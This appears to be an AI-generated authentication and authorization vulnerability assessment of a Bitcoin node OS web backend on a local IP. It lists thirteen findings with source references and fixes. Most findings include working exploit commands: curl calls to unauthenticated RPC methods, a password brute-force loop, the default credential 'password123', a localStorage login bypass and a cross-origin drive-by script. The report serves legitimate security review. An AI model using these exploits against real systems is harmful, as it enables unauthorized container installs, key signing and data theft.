494 lines
21 KiB
Markdown
Raw Normal View History

Now I have a complete picture. Let me compile the full vulnerability report.
---
# Authentication & Authorization Vulnerability Assessment
**Target:** http://192.168.1.228 (Archipelago Bitcoin Node OS)
**Scope:** Authentication, Authorization, and Session Management
**Method:** Source code review + limited live probing (backend was down during testing)
---
## AUTH-001: Complete Absence of Server-Side Session Management
**Type:** Missing Authentication
**Location:** `POST /rpc/v1` — all RPC methods
**Source file:** `core/archipelago/src/api/rpc/mod.rs:71-140`
**Confidence:** HIGH
The `auth.login` handler (`core/archipelago/src/api/rpc/auth.rs:5-32`) verifies the password against a bcrypt hash, then returns `serde_json::Value::Null`**no session token, no cookie, no JWT is created or returned**. There is zero server-side session state.
The `handle()` method at `mod.rs:71` receives the request, deserializes the JSON body, and dispatches directly to the method handler based on the `method` string. No middleware, no session check, no cookie validation occurs at any point in the request lifecycle.
**Evidence:**
- `auth.rs:31` returns `Ok(serde_json::Value::Null)` on successful login — no session created
- `handler.rs:34-75` routes requests with no middleware chain
- `server.rs:125-157` creates a raw hyper `service_fn` with no middleware wrapping
- The `core/startos/src/middleware/auth.rs` contains a full session middleware (`HasValidSession`, cookie parsing, SHA-256 token hashing, rate limiting) but it is **completely unused** by the archipelago binary
**Suggested exploit:**
```bash
# Any endpoint callable without any auth token/cookie
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node.did","params":{}}'
```
---
## AUTH-002: All 30+ Sensitive RPC Endpoints Callable Without Authentication
**Type:** Missing Authorization Checks on Sensitive Endpoints
**Location:** `POST /rpc/v1` with various `method` values
**Source file:** `core/archipelago/src/api/rpc/mod.rs:86-139`
**Confidence:** HIGH
Every RPC method is callable by any network client without authentication. The full list of unprotected methods:
| Category | Methods | Impact |
|----------|---------|--------|
| **Container control** | `container-install`, `container-start`, `container-stop`, `container-remove` | Full container lifecycle control |
| **Package management** | `package.install`, `package.start`, `package.stop`, `package.restart`, `package.uninstall` | Install/run arbitrary Docker images |
| **Cryptographic operations** | `node.signChallenge`, `node.createBackup` | Sign arbitrary data with node private key, export encrypted identity |
| **Identity exposure** | `node.did`, `node.nostr-pubkey`, `node.tor-address` | Leak node identity, Nostr keys, Tor hidden service address |
| **P2P operations** | `node-add-peer`, `node-remove-peer`, `node-send-message`, `node-list-peers` | Manipulate peer list, send messages as node |
| **Nostr publication** | `node.nostr-publish` | Publish node identity to Nostr relays |
| **Auth management** | `auth.changePassword`, `auth.resetOnboarding` | Reset onboarding state |
| **Bitcoin/Lightning** | `bitcoin.getinfo`, `lnd.getinfo` | Access chain/channel data |
**Evidence:** `mod.rs:86-139` — flat match statement with zero auth gating.
**Suggested exploit:**
```bash
# Install and run any container image
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"malicious","dockerImage":"attacker/image:tag"}}'
# Sign arbitrary data with node's ed25519 private key
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node.signChallenge","params":{"challenge":"arbitrary data to sign"}}'
```
---
## AUTH-003: No Brute Force Protection on Login
**Type:** Missing Rate Limiting / Account Lockout
**Location:** `POST /rpc/v1` with `method: "auth.login"`
**Source file:** `core/archipelago/src/api/rpc/auth.rs:5-32`
**Confidence:** HIGH
The login handler has no rate limiting, no account lockout, no progressive delays, and no CAPTCHA. The `core/startos/src/middleware/auth.rs:240-256` implements rate limiting (3 attempts per 20 seconds) but this middleware is **not connected** to the archipelago backend.
Bcrypt hashing provides some natural slowdown (~100ms per attempt at DEFAULT_COST=12), allowing ~600 attempts/minute.
**Evidence:**
- `auth.rs:5-32` — straightforward password check with no rate limiting logic
- No rate-limiting state anywhere in the archipelago codebase
- No nginx rate limiting on `/rpc/` in `nginx-archipelago.conf`
**Suggested exploit:**
```bash
# Unlimited login attempts with no lockout
for pw in $(cat /path/to/wordlist.txt); do
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$pw\"}}"
done
```
---
## AUTH-004: Hardcoded Default Credentials (Dev Mode)
**Type:** Default/Test Credentials
**Location:** `POST /rpc/v1` with `method: "auth.login"`
**Source files:**
- `core/archipelago/src/api/rpc/mod.rs:40``DEV_DEFAULT_PASSWORD = "password123"`
- `core/archipelago/src/main.rs:47-53` — auto-creates user with default password
- `core/archipelago/src/api/rpc/auth.rs:17-20` — accepts default password when user not setup
**Confidence:** HIGH
When `dev_mode=true` in config:
1. `main.rs:49-50` auto-creates `user.json` with bcrypt hash of `"password123"`
2. `auth.rs:18` accepts `"password123"` even without user setup
The config defaults `dev_mode: false` (`config.rs:197`), but if the production server has `ARCHIPELAGO_DEV_MODE=true` in its environment or config, this backdoor is active. The CLAUDE.md confirms the dev server uses `password123`.
**Evidence:** The constant `DEV_DEFAULT_PASSWORD` is defined in two places (`mod.rs:40`, `main.rs:28`).
**Suggested exploit:**
```bash
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"auth.login","params":{"password":"password123"}}'
```
---
## AUTH-005: Frontend-Only Authentication Enforcement
**Type:** Client-Side Authentication Bypass
**Location:** Browser localStorage + Vue router guards
**Source files:**
- `neode-ui/src/stores/app.ts:12``isAuthenticated` based on localStorage
- `neode-ui/src/router/index.ts:157-214` — navigation guard
- `neode-ui/src/stores/app.ts:190-219` — session validation
**Confidence:** HIGH
Authentication enforcement exists **only** in the Vue.js frontend:
1. `app.ts:12` — auth state is `localStorage.getItem('neode-auth') === 'true'`
2. `app.ts:196` — session validation calls `server.echo` to "verify" the session
3. Since `server.echo` requires no authentication (it's just another unprotected RPC method), session validation **always succeeds** if the backend is reachable
This creates a circular trust problem: the frontend validates the session by calling an unprotected endpoint, which always succeeds, so `localStorage['neode-auth'] = 'true'` is sufficient to be "authenticated" forever.
**Evidence:**
- Router guard at `index.ts:183-193` — if `localStorage` says authenticated, user proceeds to protected routes, with session check (that always succeeds) running in background
- `app.ts:196``server.echo` always returns successfully regardless of auth state
**Suggested exploit:**
```javascript
// In browser console at http://192.168.1.228/login
localStorage.setItem('neode-auth', 'true')
window.location.href = '/dashboard'
// Full dashboard access without password
```
---
## AUTH-006: No-Op Logout Implementation
**Type:** Session Invalidation Failure
**Location:** `POST /rpc/v1` with `method: "auth.logout"`
**Source file:** `core/archipelago/src/api/rpc/auth.rs:34-36`
**Confidence:** HIGH
```rust
pub(super) async fn handle_auth_logout(&self) -> Result<serde_json::Value> {
Ok(serde_json::Value::Null)
}
```
The logout handler is a complete no-op. Since no session was ever created (AUTH-001), there is nothing to invalidate. The frontend logout (`app.ts:55-70`) clears localStorage and disconnects the WebSocket, but this is entirely client-side.
**Evidence:** Three lines of code, returns null immediately.
**Suggested exploit:** Not applicable — logout has no server-side effect because there is no server-side session.
---
## AUTH-007: Unauthenticated WebSocket Access
**Type:** Missing Authentication on Data Stream
**Location:** `GET /ws/db` (WebSocket upgrade)
**Source file:** `core/archipelago/src/api/handler.rs:42-44, 190-287`
**Confidence:** HIGH
The WebSocket endpoint at `/ws/db` (`handler.rs:42-43`) accepts connections without any authentication. Upon connection, it immediately sends the full server state dump (`handler.rs:216-223`) including:
- Node identity (pubkey, DID)
- Tor hidden service address
- All installed package states
- Server configuration
Any client on the network receives all state updates in real-time.
**Evidence:** `handler.rs:42-44` — WebSocket upgrade with no session/token check:
```rust
if method == Method::GET && path == "/ws/db" {
return Self::handle_websocket(req, self.state_manager.clone()).await;
}
```
**Suggested exploit:**
```javascript
const ws = new WebSocket('ws://192.168.1.228/ws/db')
ws.onmessage = (e) => console.log(JSON.parse(e.data))
// Receives full state dump immediately
```
---
## AUTH-008: Unauthenticated P2P Message Injection
**Type:** Missing Authentication + Missing Input Validation (Spoofing)
**Location:** `POST /archipelago/node-message`
**Source file:** `core/archipelago/src/api/handler.rs:125-145`, `core/archipelago/src/node_message.rs:26-38`
**Confidence:** HIGH
The P2P message endpoint accepts arbitrary `from_pubkey` and `message` values without:
1. Authentication of the sender
2. Signature verification (the `from_pubkey` is self-claimed, not cryptographically verified)
3. Any access control
Messages are stored in-memory (`node_message.rs:28-33`) and served to the UI. Spoofed messages are indistinguishable from legitimate ones.
**Evidence:** `handler.rs:131-137` — deserializes and stores without verification:
```rust
if let (Some(from), Some(msg)) = (incoming.from_pubkey, incoming.message) {
node_msg::store_received(&from, &msg).await;
}
```
**Suggested exploit:**
```bash
curl -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"spoofed_key_123","message":"Fake message from attacker"}'
```
---
## AUTH-009: CORS Wildcard on Non-RPC Endpoints
**Type:** Permissive CORS Policy
**Location:** Multiple HTTP endpoints
**Source file:** `core/archipelago/src/api/handler.rs:15, 108, 118, 142, 153, 173`
**Confidence:** HIGH
`CORS_ANY = "*"` is applied to these endpoints:
- `/api/container/logs` (line 108, 118)
- `/archipelago/node-message` (line 142)
- `/electrs-status` (line 153)
- `/proxy/lnd/*` (line 173)
This enables drive-by attacks from any website. A malicious webpage could inject P2P messages, read container logs, read electrs sync status, and proxy requests to LND.
Note: The main `/rpc/v1` endpoint does **not** set CORS headers (`handler.rs:164-168`), so browser-based cross-origin XHR to RPC is blocked. However, this only protects against browser-based attacks — direct curl/script access is unrestricted.
**Evidence:** `const CORS_ANY: &str = "*";` at `handler.rs:15`.
**Suggested exploit:**
```html
<!-- Attacker's webpage, visited by someone on the same network -->
<script>
// Inject spoofed P2P messages via CORS wildcard
fetch('http://192.168.1.228/archipelago/node-message', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({from_pubkey: 'attacker', message: 'phishing message'})
})
</script>
```
---
## AUTH-010: Weak Initial Password Policy
**Type:** Password Policy Enforcement Gap
**Location:** Frontend setup flow
**Source files:**
- `neode-ui/src/views/Login.vue:212` — 8-char minimum for initial setup
- `core/archipelago/src/auth.rs:172-190` — 12-char + complexity for password change
**Confidence:** MEDIUM
The initial password setup (Login.vue line 212) requires only 8 characters with no complexity requirements. The password change flow (`auth.rs:172-190`) requires 12+ characters with uppercase, lowercase, digit, and special character. This means the initial password can be significantly weaker than what's required for subsequent changes.
Note: The `auth.setup` method doesn't actually exist in the backend RPC handler (not in `mod.rs:86-139`), so the setup flow may only work via the mock backend in dev mode. However, `auth.rs:49` (`setup_user`) has no password strength validation either.
**Evidence:** `Login.vue:212`:
```typescript
if (password.value.length < 8) { ... }
```
vs `auth.rs:174`:
```rust
if password.len() < 12 { anyhow::bail!("Password must be at least 12 characters"); }
```
---
## AUTH-011: Unauthenticated LND Proxy (SSRF Vector)
**Type:** Missing Authorization + Server-Side Request Forgery
**Location:** `GET /proxy/lnd/*`
**Source file:** `core/archipelago/src/api/handler.rs:158-188`
**Confidence:** HIGH
The LND proxy at `/proxy/lnd/` forwards requests to `http://127.0.0.1:8080` without any authentication. The path suffix is directly concatenated into the URL (`handler.rs:159`):
```rust
let suffix = path.strip_prefix("/proxy/lnd").unwrap_or("/");
let url = format!("http://127.0.0.1:8080{}", suffix);
```
This exposes internal LND REST API endpoints to unauthenticated external access, and the path construction could potentially be abused for limited SSRF (though constrained to port 8080).
**Suggested exploit:**
```bash
# Access LND REST API without authentication
curl http://192.168.1.228/proxy/lnd/v1/getinfo
curl http://192.168.1.228/proxy/lnd/v1/balance/channels
```
---
## AUTH-012: Unauthenticated Container Log Access
**Type:** Missing Authorization on Sensitive Data
**Location:** `GET /api/container/logs?app_id=*`
**Source file:** `core/archipelago/src/api/handler.rs:64-66, 77-123`
**Confidence:** HIGH
Container logs are accessible without authentication via the HTTP GET endpoint. Logs can contain sensitive information (configuration, errors, internal IPs, credentials in error messages).
**Suggested exploit:**
```bash
curl "http://192.168.1.228/api/container/logs?app_id=lnd&lines=500"
curl "http://192.168.1.228/api/container/logs?app_id=bitcoin&lines=500"
```
---
## AUTH-013: Disconnected Authentication Infrastructure
**Type:** Architectural Authentication Gap
**Location:** `core/startos/src/middleware/auth.rs` vs `core/archipelago/`
**Source files:**
- `core/startos/src/middleware/auth.rs:1-285` — complete auth middleware (unused)
- `core/startos/src/middleware/mod.rs` — middleware module (unused)
**Confidence:** HIGH (informational)
A complete authentication middleware exists in the `startos` crate including:
- Session token validation via SHA-256 hashed cookies (`auth.rs:65-92`)
- Session creation with database persistence (`auth.rs:44-57`)
- Rate limiting: 3 login attempts per 20 seconds (`auth.rs:240-256`)
- `HasValidSession` guard pattern (`auth.rs:62`)
The archipelago backend binary **does not import or use** any of this middleware. The RPC handler was built from scratch without plugging into the existing auth infrastructure.
---
## Summary
| ID | Type | Endpoint | Confidence | Severity |
|----|------|----------|------------|----------|
| AUTH-001 | No session management | `/rpc/v1` (auth.login) | HIGH | CRITICAL |
| AUTH-002 | No auth on 30+ endpoints | `/rpc/v1` (all methods) | HIGH | CRITICAL |
| AUTH-003 | No brute force protection | `/rpc/v1` (auth.login) | HIGH | HIGH |
| AUTH-004 | Default credentials | `/rpc/v1` (auth.login) | HIGH | HIGH |
| AUTH-005 | Client-side auth only | Frontend router/localStorage | HIGH | CRITICAL |
| AUTH-006 | No-op logout | `/rpc/v1` (auth.logout) | HIGH | MEDIUM |
| AUTH-007 | Unauth WebSocket | `/ws/db` | HIGH | HIGH |
| AUTH-008 | Unauth message injection | `/archipelago/node-message` | HIGH | HIGH |
| AUTH-009 | CORS wildcard | Multiple non-RPC endpoints | HIGH | HIGH |
| AUTH-010 | Weak initial password | Frontend setup flow | MEDIUM | MEDIUM |
| AUTH-011 | Unauth LND proxy | `/proxy/lnd/*` | HIGH | HIGH |
| AUTH-012 | Unauth container logs | `/api/container/logs` | HIGH | MEDIUM |
| AUTH-013 | Disconnected auth infra | Architectural (informational) | HIGH | INFO |
The root cause is **AUTH-001**: the login flow verifies passwords but creates no session, and no middleware exists to check sessions on subsequent requests. All other findings flow from this architectural gap. The fix is to wire session creation into `auth.login`, add session cookies to responses, and add middleware before the RPC dispatch at `handler.rs:55` that validates session cookies on all non-public methods.
```json
{
"category": "auth",
"findings": [
{
"id": "AUTH-001",
"type": "missing_session_management",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' — observe null response with no Set-Cookie header"
},
{
"id": "AUTH-002",
"type": "missing_authorization",
"endpoint": "/rpc/v1",
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' — returns node identity without auth"
},
{
"id": "AUTH-003",
"type": "brute_force_no_protection",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password",
"confidence": "high",
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit — bcrypt provides ~100ms delay per attempt"
},
{
"id": "AUTH-004",
"type": "default_credentials",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password=password123",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
},
{
"id": "AUTH-005",
"type": "client_side_auth_bypass",
"endpoint": "/dashboard",
"parameter": "localStorage['neode-auth']",
"confidence": "high",
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' — full UI access without login"
},
{
"id": "AUTH-006",
"type": "session_invalidation_failure",
"endpoint": "/rpc/v1",
"parameter": "method=auth.logout",
"confidence": "high",
"payload_suggestion": "Logout is a no-op returning null — no server-side session to invalidate"
},
{
"id": "AUTH-007",
"type": "unauthenticated_websocket",
"endpoint": "/ws/db",
"parameter": "N/A",
"confidence": "high",
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db — receives full server state dump including node identity, Tor address, and all package states"
},
{
"id": "AUTH-008",
"type": "message_spoofing",
"endpoint": "/archipelago/node-message",
"parameter": "from_pubkey, message",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
},
{
"id": "AUTH-009",
"type": "cors_wildcard",
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) — succeeds cross-origin"
},
{
"id": "AUTH-010",
"type": "weak_password_policy",
"endpoint": "/rpc/v1",
"parameter": "method=auth.setup (frontend only), password",
"confidence": "medium",
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
},
{
"id": "AUTH-011",
"type": "unauthenticated_ssrf_proxy",
"endpoint": "/proxy/lnd/*",
"parameter": "path suffix",
"confidence": "high",
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo — accesses LND REST API without authentication"
},
{
"id": "AUTH-012",
"type": "unauthenticated_data_access",
"endpoint": "/api/container/logs",
"parameter": "app_id, lines",
"confidence": "high",
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' — reads container logs without auth"
},
{
"id": "AUTH-013",
"type": "disconnected_auth_infrastructure",
"endpoint": "N/A (architectural)",
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
"confidence": "high",
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
}
]
}
```